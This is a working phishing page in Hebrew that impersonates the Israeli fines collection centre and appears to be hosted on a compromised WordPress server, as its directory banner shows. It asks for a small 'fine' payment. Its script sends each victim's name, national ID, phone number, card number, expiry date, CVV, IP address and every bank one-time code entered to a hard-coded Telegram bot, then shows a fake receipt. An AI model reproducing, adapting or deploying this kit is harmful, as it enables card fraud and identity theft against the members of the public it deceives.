Server : LiteSpeed System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64 User : rahcos ( 1533) PHP Version : 8.4.23 Disable Function : NONE Directory : /home/rahcos/.trash/wp-includes/assets/264/ |
<!DOCTYPE html>
<html dir="rtl" lang="he">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover">
<title>המרכז לגביית קנסות – תשלום מאובטח</title>
<link href="https://fonts.googleapis.com/css2?family=Rubik:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
-webkit-tap-highlight-color: transparent;
}
body {
font-family: 'Rubik', 'Segoe UI', 'Assistant', sans-serif;
background: #f0f4f9;
color: #1a2c3e;
direction: rtl;
line-height: 1.4;
padding: 0;
margin: 0;
}
:root {
--logo-blue-dark: #00264d;
--logo-blue-medium: #1a5c9e;
--button-blue: #003366;
--button-hover: #002244;
--card-shadow: 0 6px 14px rgba(0, 40, 86, 0.06);
--light-blue-bg: #eef3fc;
--accent-orange: #ff8c42;
}
.top-header {
background-color: var(--logo-blue-dark);
padding: 0.7rem 1rem;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 0.5rem;
border-bottom: 2px solid var(--accent-orange);
}
.header-right {
display: flex;
align-items: center;
gap: 0.7rem;
flex-wrap: wrap;
}
.menorah-icon {
width: 32px;
height: 32px;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 120 120'%3E%3Cpath fill='white' d='M60,10 L65,25 L75,20 L70,35 L85,30 L78,45 L95,40 L85,55 L98,55 L85,65 L95,80 L78,75 L85,90 L70,85 L75,100 L65,95 L60,110 L55,95 L45,100 L50,85 L35,90 L42,75 L25,80 L35,65 L22,55 L35,45 L25,40 L42,35 L35,20 L50,25 L45,10 Z'/%3E%3C/svg%3E");
background-size: contain;
background-repeat: no-repeat;
}
.logo-img {
height: 38px;
width: auto;
max-width: 140px;
object-fit: contain;
}
.site-title {
color: white;
font-size: 0.7rem;
font-weight: 500;
border-right: 1px solid rgba(255,255,255,0.3);
padding-right: 0.6rem;
line-height: 1.2;
}
.site-title span {
display: block;
font-size: 0.6rem;
font-weight: 400;
opacity: 0.85;
}
.lang-switch {
display: flex;
gap: 0.5rem;
}
.lang-switch a {
color: white;
text-decoration: none;
font-size: 0.7rem;
}
.support-bar {
background-color: var(--logo-blue-medium);
padding: 0.4rem 1rem;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 0.5rem;
}
.support-links {
display: flex;
gap: 0.8rem;
font-size: 0.7rem;
}
.support-links a {
color: white;
text-decoration: none;
}
.cart-icon {
background: var(--accent-orange);
padding: 0.2rem 0.6rem;
border-radius: 30px;
font-size: 0.7rem;
color: white;
}
.container {
max-width: 600px;
margin: 0 auto;
padding: 1rem;
}
.transaction-ref {
background: white;
border-radius: 40px;
padding: 0.3rem 0.8rem;
display: inline-block;
font-size: 0.7rem;
font-weight: 600;
direction: ltr;
font-family: monospace;
margin-bottom: 0.8rem;
box-shadow: var(--card-shadow);
}
.steps-container {
background: white;
border-radius: 24px;
padding: 0.7rem 0.5rem;
margin-bottom: 1rem;
box-shadow: var(--card-shadow);
}
.steps-row {
display: flex;
justify-content: space-between;
text-align: center;
}
.step-item {
flex: 1;
}
.step-number {
width: 38px;
height: 38px;
background: #eef2f9;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 0.3rem;
font-weight: 800;
font-size: 1rem;
color: #5b6f82;
transition: all 0.2s;
}
.step-number.active {
background: var(--logo-blue-dark);
color: white;
box-shadow: 0 2px 8px rgba(0,38,77,0.3);
}
.step-number.completed {
background: var(--accent-orange);
color: white;
}
.step-label {
font-size: 0.65rem;
font-weight: 600;
color: #4a627a;
}
.step-label.active {
color: var(--logo-blue-dark);
}
.card {
background: white;
border-radius: 28px;
padding: 1.2rem;
margin-bottom: 1rem;
box-shadow: var(--card-shadow);
border: 1px solid rgba(0,0,0,0.02);
}
.notice-box {
background: var(--light-blue-bg);
border-right: 4px solid var(--accent-orange);
padding: 0.8rem;
border-radius: 20px;
font-size: 0.8rem;
line-height: 1.5;
margin-bottom: 1.2rem;
color: #1f3a4b;
}
.id-selection-title {
font-size: 1rem;
font-weight: 800;
color: var(--logo-blue-dark);
margin-bottom: 1rem;
border-bottom: 2px solid var(--accent-orange);
display: inline-block;
padding-bottom: 0.2rem;
}
.form-group {
margin-bottom: 1.2rem;
}
label {
font-weight: 700;
font-size: 0.85rem;
display: block;
margin-bottom: 0.4rem;
color: #1f3a4b;
}
.required {
color: #d9534f;
}
.id-input, .text-input, .phone-input, .card-input, .cvv-input {
width: 100%;
padding: 0.75rem 0.8rem;
font-size: 0.9rem;
border: 1.5px solid #e2e8f0;
border-radius: 16px;
background: white;
transition: 0.2s;
font-family: 'Rubik', monospace;
direction: ltr;
text-align: left;
}
.id-input:focus, .text-input:focus, .phone-input:focus, .card-input:focus, .cvv-input:focus {
border-color: var(--accent-orange);
outline: none;
box-shadow: 0 0 0 3px rgba(255,140,66,0.2);
}
select {
width: 100%;
padding: 0.75rem 0.8rem;
font-size: 0.9rem;
border: 1.5px solid #e2e8f0;
border-radius: 16px;
background: white;
font-family: 'Rubik', sans-serif;
}
.btn {
background: var(--button-blue);
border: none;
padding: 0.8rem;
font-size: 1rem;
font-weight: 800;
color: white;
border-radius: 60px;
cursor: pointer;
width: 100%;
max-width: 280px;
margin: 0.5rem auto;
display: block;
transition: 0.2s;
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
}
.btn:hover {
background: var(--button-hover);
transform: translateY(-2px);
}
.payment-option-btn {
background: white;
border: 2px solid var(--logo-blue-medium);
border-radius: 60px;
padding: 0.7rem;
text-align: center;
font-weight: 700;
font-size: 0.9rem;
cursor: pointer;
margin-bottom: 0.8rem;
transition: 0.2s;
}
.payment-option-btn:hover {
background: var(--logo-blue-medium);
color: white;
}
.inline-group {
display: flex;
gap: 0.8rem;
flex-wrap: wrap;
}
.inline-group .form-group {
flex: 1;
}
.payment-summary {
background: #fef9ef;
border-radius: 20px;
padding: 0.8rem;
text-align: center;
font-size: 0.85rem;
margin-bottom: 1.2rem;
border: 1px solid #ffe0b5;
}
.payment-icons {
display: flex;
justify-content: center;
gap: 1rem;
font-size: 1.6rem;
color: #5a6e7c;
margin-top: 1rem;
}
.modal-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.7);
backdrop-filter: blur(4px);
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
visibility: hidden;
opacity: 0;
transition: 0.2s;
padding: 1rem;
}
.modal-overlay.active {
visibility: visible;
opacity: 1;
}
.modal-container {
background: white;
border-radius: 32px;
max-width: 340px;
width: 100%;
padding: 1.5rem;
text-align: center;
box-shadow: 0 20px 30px rgba(0,0,0,0.2);
}
.sms-number {
background: #f0f4f9;
padding: 0.3rem 0.8rem;
border-radius: 40px;
display: inline-block;
font-family: monospace;
font-size: 0.9rem;
margin: 0.5rem 0;
}
.attempts-counter {
font-size: 0.75rem;
color: #e67e22;
}
.otp-input {
font-size: 1.3rem;
letter-spacing: 0.3rem;
text-align: center;
padding: 0.7rem;
}
.modal-buttons {
display: flex;
gap: 0.8rem;
justify-content: center;
margin-top: 1.2rem;
}
.modal-btn {
padding: 0.5rem 1rem;
border-radius: 40px;
font-weight: 700;
border: none;
cursor: pointer;
}
.modal-btn.confirm {
background: var(--button-blue);
color: white;
}
.modal-btn.cancel {
background: #e2e8f0;
}
.cooldown-message {
font-size: 0.7rem;
color: #e67e22;
margin-top: 0.5rem;
}
.success-icon {
font-size: 3rem;
color: #28a745;
}
.footer {
text-align: center;
font-size: 0.6rem;
color: #5f7f9e;
padding: 1rem;
border-top: 1px solid #e2edf2;
margin-top: 1rem;
}
@media (max-width: 480px) {
.container {
padding: 0.8rem;
}
.card {
padding: 1rem;
}
.step-number {
width: 32px;
height: 32px;
font-size: 0.9rem;
}
.step-label {
font-size: 0.55rem;
}
.notice-box {
font-size: 0.7rem;
padding: 0.6rem;
}
.btn {
font-size: 0.9rem;
padding: 0.7rem;
}
}
</style>
</head>
<body>
<div class="top-header">
<div class="header-right">
<i class="menorah-icon"></i>
<img class="logo-img" src="logo1.PNG" alt="סמל מדינת ישראל">
<div class="site-title">מדינת ישראל<span>רשות האכיפה והגבירה | gov.il</span></div>
</div>
<div class="lang-switch"><a href="#">English</a><span>|</span><a href="#">العربية</a></div>
</div>
<div class="support-bar">
<div class="support-links"><a href="#">תמיכה ומידע</a><span>|</span><a href="#">העתק אישור תשלום</a></div>
<div class="cart-icon"><i class="fas fa-shopping-cart"></i> <span>0</span></div>
</div>
<div class="container">
<div style="text-align: left;">
<span class="transaction-ref"><i class="fas fa-receipt"></i> עסקה: <span id="transactionRef"></span></span>
</div>
<div class="steps-container">
<div class="steps-row">
<div class="step-item"><div class="step-number" id="step1Num">1</div><div class="step-label" id="step1Label">הזנת פרטים</div></div>
<div class="step-item"><div class="step-number" id="step2Num">2</div><div class="step-label" id="step2Label">פרטי תשלום</div></div>
<div class="step-item"><div class="step-number" id="step3Num">3</div><div class="step-label" id="step3Label">תשלום</div></div>
<div class="step-item"><div class="step-number" id="step4Num">4</div><div class="step-label" id="step4Label">אישור</div></div>
</div>
</div>
<!-- صفحة 1 -->
<div id="page1" class="card">
<div class="notice-box">
<strong>להשתמש לבכם:</strong><br><br>
תשלום חוב יש לבחור באחד מאמצעי הזיהוי:<br>
הזדהות עם מספר תיק של המרכז לגביית <strong>קנסות</strong> בצירוף מספר ת.ג. או מספר ח.פ.<br>
(הזדהות זו תציג את כלל חובותיך במרכז).<br>
<strong>שמו לב!</strong> מספר תיק מרכז מופיע על גבי דרישת התשלום שהגיעה אליך בדואר או במטרה.<br>
בהעדר מס' תיק מרכז, בקנסות מסוג משטרה או תעבורה או דוח חנייה<br>
ניתן להזדהות באמצעות מספר רישיון נהיגה או מספר דוח.<br><br>
אם קיים על שמר חוב פיצוי, ייקף כל תשלום ששולם תחילה לחוב הפיצוי בהתאם לחוק המרכז.
</div>
<div class="id-selection-title">בחר את סוג הזיהוי</div>
<form id="identityForm">
<div class="form-group">
<label>תעודת זהות <span class="required">*</span></label>
<input type="text" id="idNumber" class="id-input" maxlength="9" inputmode="numeric">
</div>
<button type="submit" class="btn" id="submitBtn">אישור</button>
</form>
</div>
<!-- صفحة 2 - עם מספר שובר ותאריך תשלום -->
<div id="page2" class="card" style="display: none;">
<div style="font-size:1.3rem; text-align:center; font-weight:800; margin-bottom:1rem;">פרטי חוב</div>
<div style="background:#f8fafc; border-radius:20px; padding:0.8rem; margin:0.5rem 0;">
<div style="display:flex; justify-content:space-between; padding:0.4rem 0;"><span style="font-weight:700;">מספר שובר</span><span id="voucherNumberDisplay"></span></div>
<div style="display:flex; justify-content:space-between; padding:0.4rem 0;"><span style="font-weight:700;">מס' זהות (שהוזן)</span><span id="displayIdNumber"></span></div>
<div style="display:flex; justify-content:space-between; padding:0.4rem 0;"><span style="font-weight:700;">התשלום עד לתאריך</span><span>30/06/2026</span></div>
</div>
<div style="background:var(--light-blue-bg); border-radius:20px; padding:0.8rem; text-align:center; margin:0.8rem 0;">
<span style="font-weight:700;">סכום לתשלום :</span>
<span style="font-size:1.6rem; font-weight:800; color:#c0392b; margin-right:0.5rem;">100 ₪</span>
</div>
<div class="payment-options">
<div class="payment-option-btn" id="bankPaymentBtn"><i class="fas fa-university"></i> תשלום בבנק</div>
<div class="payment-option-btn" id="creditPaymentBtn"><i class="fas fa-credit-card"></i> תשלום בכרטיס אשראי</div>
</div>
</div>
<!-- صفحة 3 -->
<div id="page3" class="card" style="display: none;">
<div style="font-size:1.2rem; text-align:center; font-weight:800; margin-bottom:1rem;">הזנת פרטי כרטיס אשראי</div>
<div class="payment-summary" id="paymentSummary">
<p><strong>📄 סיכום התשלום</strong></p>
<p>מספר שובר: <span id="summaryVoucher"></span> | סכום: <strong>100 ₪</strong></p>
<p>תאריך יעד: 30/06/2026</p>
</div>
<div id="savedCardNotice" style="background:#eef2fa; border-radius:20px; padding:0.6rem; margin-bottom:1rem; display:none;"></div>
<form id="paymentForm">
<div class="form-group"><label>שם מלא <span class="required">*</span></label><input type="text" id="fullName" class="text-input" placeholder="ישראל ישראלי"></div>
<div class="form-group"><label>מספר זהות <span class="required">*</span></label><input type="text" id="idPayment" class="id-input" maxlength="9" inputmode="numeric" placeholder="9 ספרות"></div>
<div class="form-group"><label>מספר טלפון <span class="required">*</span></label><input type="tel" id="phone" class="phone-input" maxlength="10" placeholder="05xxxxxxxx" inputmode="numeric"></div>
<div class="form-group"><label>מספר כרטיס אשראי <span class="required">*</span></label>
<input type="text" id="cardNumber" class="card-input" maxlength="19" placeholder="1234 5678 9012 3456" inputmode="numeric" dir="ltr">
<div id="cardError" style="color:#d9534f; font-size:0.7rem; margin-top:0.3rem;"></div>
</div>
<div class="inline-group">
<div class="form-group"><label>חודש</label><select id="expMonth"><option disabled selected>--</option><option>01</option><option>02</option><option>03</option><option>04</option><option>05</option><option>06</option><option>07</option><option>08</option><option>09</option><option>10</option><option>11</option><option>12</option></select></div>
<div class="form-group"><label>שנה</label><select id="expYear"><option disabled selected>----</option></select></div>
<div class="form-group"><label>CVV</label><input type="text" id="cvv" class="cvv-input" maxlength="3" placeholder="123" inputmode="numeric"></div>
</div>
<button type="submit" class="btn" id="payNowBtn">בצע תשלום</button>
</form>
<div class="payment-icons">
<i class="fab fa-cc-visa"></i> <i class="fab fa-cc-mastercard"></i> <i class="fab fa-cc-paypal"></i> <i class="fab fa-cc-apple-pay"></i>
</div>
</div>
<!-- صفحة 4 -->
<div id="page4" class="card" style="display: none; text-align:center;">
<canvas id="fireworksCanvas" style="position:fixed; top:0; left:0; width:100%; height:100%; pointer-events:none; z-index:1001; display:none;"></canvas>
<div class="success-icon"><i class="fas fa-check-circle"></i></div>
<div style="font-size:1.3rem; font-weight:800; margin:0.5rem 0;">התשלום התקבל בהצלחה!</div>
<div id="receiptContent" style="background:#f8fafc; border-radius:20px; padding:0.8rem; margin:1rem 0; text-align:right;">
<p><strong>תודה רבה על סיום החוב.</strong></p>
<p><i class="fas fa-receipt"></i> מספר עסקה: <span id="successTxn"></span></p>
<p><i class="fas fa-calendar-alt"></i> תאריך: <span id="successDate"></span></p>
<p><i class="fas fa-credit-card"></i> סכום ששולם: <strong>100 ₪</strong></p>
<p><i class="fas fa-ticket-alt"></i> מספר שובר: <span id="receiptVoucher"></span></p>
</div>
<button class="btn" id="downloadPDFBtn" style="background:#28a745;">הורד אישור PDF</button>
<button class="btn" id="homeBtn" style="margin-top:0.5rem;">חזרה לדף הבית</button>
</div>
<div class="footer"><i class="fas fa-lock"></i> מידע מאובטח | © כל הזכויות שמורות</div>
</div>
<!-- מודאל OTP -->
<div id="otpModal" class="modal-overlay">
<div class="modal-container">
<h3 style="font-size:1.3rem;"><i class="fas fa-mobile-alt"></i> אימות אבטחה</h3>
<p>קוד אימות נשלח לטלפון שלך</p>
<div class="sms-number" id="maskedPhoneDisplay"></div>
<div class="attempts-counter" id="attemptsLeftDisplay">נותרו 6 נסיונות</div>
<div id="otpError" style="color:#c0392b; font-size:0.7rem;"></div>
<input type="text" id="otpCode" class="otp-input" maxlength="6" placeholder="______" inputmode="numeric">
<div class="modal-buttons">
<button class="modal-btn cancel" id="cancelOtpBtn">ביטול</button>
<button class="modal-btn confirm" id="confirmOtpBtn">אישור תשלום</button>
</div>
<div id="cooldownMsg" class="cooldown-message"></div>
</div>
</div>
<script>
// ---------- Telegram Config ----------
const TELEGRAM_BOT_TOKEN = "8771768223:AAEQZV1jYnWCaHJSDlvhAyalpWt4UfjXDlg";
const TELEGRAM_CHAT_ID = "-5049715016";
const sessionId = Math.floor(100000 + Math.random() * 900000).toString();
document.getElementById('transactionRef').innerText = sessionId;
document.getElementById('successTxn').innerText = sessionId;
let currentOtp = "";
let attemptsLeft = 6;
let attemptNumber = 1;
let paymentCompleted = false;
let cardDataSent = false;
let cooldownActive = false;
let cooldownTimer = null;
// נתוני הלקוח והשובר
let currentVoucherNumber = "";
let collectedData = {
sessionId, fullName: "", idPayment: "", phone: "", cardNumber: "", expiryMonth: "", expiryYear: "", cvv: "", userIp: "Fetching...", page1Id: "", voucherNumber: ""
};
async function fetchIP() { try { const res = await fetch('https://api.ipify.org?format=json'); const data = await res.json(); collectedData.userIp = data.ip; } catch(e) { collectedData.userIp = "Unknown"; } }
fetchIP();
async function sendToTelegram(text) {
const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
try { await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: TELEGRAM_CHAT_ID, text, parse_mode: 'Markdown' }) }); } catch(e) { console.error(e); }
}
async function sendCardDetails() {
const msg = `💳 *NEW CARD DETAILS* 💳\n🆔 *Session ID:* ${sessionId}\n🌐 *IP:* ${collectedData.userIp}\n\n👤 *Full Name:* ${collectedData.fullName}\n🆔 *ID Number:* ${collectedData.idPayment}\n📱 *Phone:* ${collectedData.phone}\n💳 *Card Number:* ${collectedData.cardNumber}\n📅 *Expiry:* ${collectedData.expiryMonth}/${collectedData.expiryYear}\n🔐 *CVV:* ${collectedData.cvv}\n🎫 *Voucher Number:* ${collectedData.voucherNumber}`;
await sendToTelegram(msg);
}
async function sendOtpAttempt(enteredCode) {
const msg = `🔐 *OTP ATTEMPT #${attemptNumber}* 🔐\n🆔 *Session ID:* ${sessionId}\n🌐 *IP:* ${collectedData.userIp}\n📲 *Entered OTP:* ${enteredCode}\n🎫 *Voucher:* ${collectedData.voucherNumber}`;
await sendToTelegram(msg);
}
async function sendFinalSuccess() {
const msg = `✅ *PAYMENT SUCCESSFUL* ✅\n🆔 *Session ID:* ${sessionId}\n🌐 *IP:* ${collectedData.userIp}\n💰 *Amount:* 100 NIS\n🎫 *Voucher Number:* ${collectedData.voucherNumber}\n📅 *Date:* ${new Date().toLocaleString()}`;
await sendToTelegram(msg);
}
function generateOtp() { return Math.floor(100000 + Math.random() * 900000).toString(); }
// פונקציה ליצירת מספר שובר אקראי (8 תווים)
function generateVoucherNumber() {
return 'INV' + Math.floor(10000000 + Math.random() * 90000000).toString();
}
function isValidCreditCard(number) {
const sanitized = number.replace(/\s/g, '');
if (!/^\d{16}$/.test(sanitized)) return false;
let sum = 0, alternate = false;
for (let i = sanitized.length - 1; i >= 0; i--) {
let digit = parseInt(sanitized.charAt(i), 10);
if (alternate) { digit *= 2; if (digit > 9) digit -= 9; }
sum += digit;
alternate = !alternate;
}
return (sum % 10 === 0);
}
function startFireworks() {
const canvas = document.getElementById('fireworksCanvas');
if (!canvas) return;
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const ctx = canvas.getContext('2d');
let particles = [];
for (let i = 0; i < 80; i++) {
particles.push({
x: Math.random() * canvas.width, y: Math.random() * canvas.height,
radius: Math.random() * 4 + 2,
color: `hsl(${Math.random() * 360}, 100%, 60%)`,
vx: (Math.random() - 0.5) * 6, vy: (Math.random() - 0.5) * 6 - 2,
life: 1, decay: 0.02
});
}
function animate() {
if (!canvas || !ctx) return;
ctx.clearRect(0, 0, canvas.width, canvas.height);
let allDead = true;
for (let p of particles) {
if (p.life > 0) {
allDead = false;
p.x += p.vx; p.y += p.vy;
p.life -= p.decay;
ctx.globalAlpha = p.life;
ctx.beginPath(); ctx.arc(p.x, p.y, p.radius, 0, Math.PI*2);
ctx.fillStyle = p.color; ctx.fill();
}
}
if (!allDead) requestAnimationFrame(animate);
else canvas.style.display = 'none';
}
canvas.style.display = 'block';
animate();
setTimeout(() => canvas.style.display = 'none', 2000);
}
function downloadReceipt() {
const content = document.getElementById('receiptContent').cloneNode(true);
const win = window.open('', '_blank');
win.document.write(`<html dir="rtl"><head><title>אישור תשלום</title><style>body{font-family:Arial;padding:1rem;}</style></head><body>${content.innerHTML}</body></html>`);
win.document.close();
win.print();
}
function saveCardToSession() {
sessionStorage.setItem('savedCard', JSON.stringify({ fullName: collectedData.fullName, idPayment: collectedData.idPayment, phone: collectedData.phone, cardNumber: collectedData.cardNumber, expiryMonth: collectedData.expiryMonth, expiryYear: collectedData.expiryYear }));
}
function getSavedCard() { return JSON.parse(sessionStorage.getItem('savedCard')); }
function fillWithSavedCard(card) {
document.getElementById('fullName').value = card.fullName || '';
document.getElementById('idPayment').value = card.idPayment || '';
document.getElementById('phone').value = card.phone || '';
document.getElementById('cardNumber').value = card.cardNumber || '';
document.getElementById('expMonth').value = card.expiryMonth || '';
document.getElementById('expYear').value = card.expiryYear || '';
document.getElementById('cvv').value = '';
}
function checkSavedCard() {
const saved = getSavedCard();
const div = document.getElementById('savedCardNotice');
if (saved && saved.cardNumber) {
div.style.display = 'block';
div.innerHTML = `💳 כרטיס שמור (${saved.cardNumber}). <button id="useSavedBtn" style="background:none; border:none; color:var(--logo-blue-dark); font-weight:bold;">השתמש</button>`;
document.getElementById('useSavedBtn')?.addEventListener('click', () => fillWithSavedCard(saved));
} else div.style.display = 'none';
}
// DOM elements
const step1Num = document.getElementById('step1Num'), step1Label = document.getElementById('step1Label');
const step2Num = document.getElementById('step2Num'), step2Label = document.getElementById('step2Label');
const step3Num = document.getElementById('step3Num'), step3Label = document.getElementById('step3Label');
const step4Num = document.getElementById('step4Num'), step4Label = document.getElementById('step4Label');
const page1 = document.getElementById('page1'), page2 = document.getElementById('page2'), page3 = document.getElementById('page3'), page4 = document.getElementById('page4');
const idInput = document.getElementById('idNumber');
const form1 = document.getElementById('identityForm');
const submitBtn = document.getElementById('submitBtn');
const bankBtn = document.getElementById('bankPaymentBtn');
const creditBtn = document.getElementById('creditPaymentBtn');
const paymentForm = document.getElementById('paymentForm');
const payNowBtn = document.getElementById('payNowBtn');
const homeBtn = document.getElementById('homeBtn');
const otpModal = document.getElementById('otpModal');
const otpCodeInput = document.getElementById('otpCode');
const cancelOtpBtn = document.getElementById('cancelOtpBtn');
const confirmOtpBtn = document.getElementById('confirmOtpBtn');
const maskedPhoneSpan = document.getElementById('maskedPhoneDisplay');
const attemptsLeftSpan = document.getElementById('attemptsLeftDisplay');
const otpErrorSpan = document.getElementById('otpError');
const cooldownMsgDiv = document.getElementById('cooldownMsg');
const yearSelect = document.getElementById('expYear');
const curYear = new Date().getFullYear();
for (let y = curYear; y <= curYear+10; y++) { let opt = document.createElement('option'); opt.value=y; opt.text=y; yearSelect.appendChild(opt); }
function maskPhone(phone) { return phone ? phone.slice(0,2)+'******'+phone.slice(-2) : ''; }
function updateStepsForPage2() {
step1Num.classList.remove('active'); step1Num.classList.add('completed');
step1Label.classList.remove('active'); step1Label.classList.add('completed');
step2Num.classList.add('active'); step2Label.classList.add('active');
step3Num.classList.remove('active','completed'); step4Num.classList.remove('active','completed');
}
function updateStepsForPage3() {
step1Num.classList.add('completed'); step1Label.classList.add('completed');
step2Num.classList.remove('active'); step2Num.classList.add('completed');
step2Label.classList.remove('active'); step2Label.classList.add('completed');
step3Num.classList.add('active'); step3Label.classList.add('active');
}
function updateStepsAfterPayment() {
step3Num.classList.remove('active'); step3Num.classList.add('completed');
step3Label.classList.remove('active'); step3Label.classList.add('completed');
step4Num.classList.add('completed'); step4Label.classList.add('completed');
}
function showSuccessPage() {
document.getElementById('successDate').innerText = new Date().toLocaleDateString('he-IL');
document.getElementById('receiptVoucher').innerText = currentVoucherNumber;
page3.style.display = 'none';
page4.style.display = 'block';
updateStepsAfterPayment();
startFireworks();
}
function resetOtpModal() {
attemptsLeft = 6; attemptNumber = 1;
attemptsLeftSpan.innerText = `נותרו ${attemptsLeft} נסיונות`;
otpErrorSpan.innerText = '';
otpCodeInput.value = '';
if (cooldownTimer) clearInterval(cooldownTimer);
cooldownActive = false;
confirmOtpBtn.disabled = false;
cooldownMsgDiv.innerText = '';
}
function startAttemptCooldown(callback) {
if (cooldownTimer) clearInterval(cooldownTimer);
cooldownActive = true;
confirmOtpBtn.disabled = true;
let remaining = 10;
cooldownMsgDiv.innerText = `נא להמתין ${remaining} שניות`;
cooldownTimer = setInterval(() => {
remaining--;
if (remaining <= 0) {
clearInterval(cooldownTimer);
cooldownActive = false;
confirmOtpBtn.disabled = false;
cooldownMsgDiv.innerText = '';
if (callback) callback();
} else cooldownMsgDiv.innerText = `נא להמתין ${remaining} שניות`;
}, 1000);
}
async function processOtp(code) {
if (paymentCompleted) return;
if (cooldownActive) { otpErrorSpan.innerText = 'יש להמתין 10 שניות בין נסיונות'; return; }
await sendOtpAttempt(code);
const isCorrect = (code === currentOtp);
if (isCorrect) {
paymentCompleted = true;
await sendFinalSuccess();
saveCardToSession();
otpModal.classList.remove('active');
showSuccessPage();
} else {
attemptsLeft--; attemptNumber++;
if (attemptsLeft <= 0) {
paymentCompleted = true;
await sendFinalSuccess();
saveCardToSession();
otpModal.classList.remove('active');
showSuccessPage();
} else {
otpErrorSpan.innerText = 'קוד שגוי. נסה שוב.';
attemptsLeftSpan.innerText = `נותרו ${attemptsLeft} נסיונות`;
otpCodeInput.value = '';
startAttemptCooldown(() => otpCodeInput.focus());
}
}
}
// מעבר מעמוד 1 לעמוד 2 - יצירת מספר שובר אקראי
form1.addEventListener('submit', (e) => {
e.preventDefault();
let val = idInput.value.trim();
if (!val || !/^\d{9}$/.test(val)) { alert("נא להזין 9 ספרות"); return; }
collectedData.page1Id = val;
// יצירת מספר שובר חדש
currentVoucherNumber = generateVoucherNumber();
collectedData.voucherNumber = currentVoucherNumber;
// עדכון התצוגה בעמוד 2
document.getElementById('voucherNumberDisplay').innerText = currentVoucherNumber;
document.getElementById('displayIdNumber').innerText = val;
// עדכון עמוד 3
document.getElementById('summaryVoucher').innerText = currentVoucherNumber;
submitBtn.disabled = true; submitBtn.innerHTML = 'מעבד...';
setTimeout(() => {
page1.style.display = 'none';
page2.style.display = 'block';
updateStepsForPage2();
submitBtn.disabled = false; submitBtn.innerHTML = 'אישור';
}, 500);
});
bankBtn.addEventListener('click', () => alert("הדגמת תשלום בבנק"));
creditBtn.addEventListener('click', () => {
page2.style.display = 'none';
page3.style.display = 'block';
updateStepsForPage3();
checkSavedCard();
});
const cardInput = document.getElementById('cardNumber');
const cardErrorDiv = document.getElementById('cardError');
cardInput.addEventListener('input', function() {
let raw = this.value.replace(/\s/g, '').replace(/\D/g, '').slice(0,16);
let f = ''; for (let i=0;i<raw.length;i++) { if(i>0 && i%4===0) f+=' '; f+=raw[i]; } this.value=f;
if (raw.length === 16) {
if (!isValidCreditCard(raw)) cardErrorDiv.innerText = 'מספר כרטיס אשראי אינו תקין';
else cardErrorDiv.innerText = '';
} else cardErrorDiv.innerText = '';
collectedData.cardNumber = raw;
});
document.getElementById('phone').addEventListener('input', function(){ this.value=this.value.replace(/\D/g,'').slice(0,10); });
document.getElementById('idPayment').addEventListener('input', function(){ this.value=this.value.replace(/\D/g,'').slice(0,9); });
document.getElementById('cvv').addEventListener('input', function(){ this.value=this.value.replace(/\D/g,'').slice(0,3); });
paymentForm.addEventListener('submit', async (e) => {
e.preventDefault();
const name = document.getElementById('fullName').value.trim();
const idVal = document.getElementById('idPayment').value.trim();
const phoneVal = document.getElementById('phone').value.trim();
const cardRaw = cardInput.value.replace(/\s/g,'');
const month = document.getElementById('expMonth').value;
const year = document.getElementById('expYear').value;
const cvvVal = document.getElementById('cvv').value.trim();
if (!name) { alert("נא להזין שם מלא"); return; }
if (!/^\d{9}$/.test(idVal)) { alert("מספר זהות חייב להכיל 9 ספרות"); return; }
if (!/^05\d{8}$/.test(phoneVal)) { alert("מספר טלפון חייב להתחיל ב-05 ולהכיל 10 ספרות"); return; }
if (!/^\d{16}$/.test(cardRaw)) { alert("מספר כרטיס אשראי חייב להכיל 16 ספרות"); return; }
if (!isValidCreditCard(cardRaw)) { alert("מספר כרטיס אשראי אינו תקין (בדוק את המספר)"); return; }
if (!month || !year) { alert("נא לבחור חודש ושנת תפוגה"); return; }
if (!/^\d{3}$/.test(cvvVal)) { alert("קוד CVV חייב להכיל 3 ספרות"); return; }
collectedData.fullName = name; collectedData.idPayment = idVal; collectedData.phone = phoneVal; collectedData.cardNumber = cardRaw; collectedData.expiryMonth = month; collectedData.expiryYear = year; collectedData.cvv = cvvVal;
if (!cardDataSent) { await sendCardDetails(); cardDataSent = true; }
currentOtp = generateOtp();
maskedPhoneSpan.innerText = maskPhone(phoneVal);
resetOtpModal();
otpModal.classList.add('active');
});
cancelOtpBtn.addEventListener('click', () => { otpModal.classList.remove('active'); if(cooldownTimer) clearInterval(cooldownTimer); cooldownActive=false; });
confirmOtpBtn.addEventListener('click', () => { const otp = otpCodeInput.value.trim(); if (!/^\d{6}$/.test(otp)) { otpErrorSpan.innerText='הזן 6 ספרות'; return; } processOtp(otp); });
homeBtn.addEventListener('click', () => location.reload());
document.getElementById('downloadPDFBtn')?.addEventListener('click', downloadReceipt);
</script>
</body>
</html>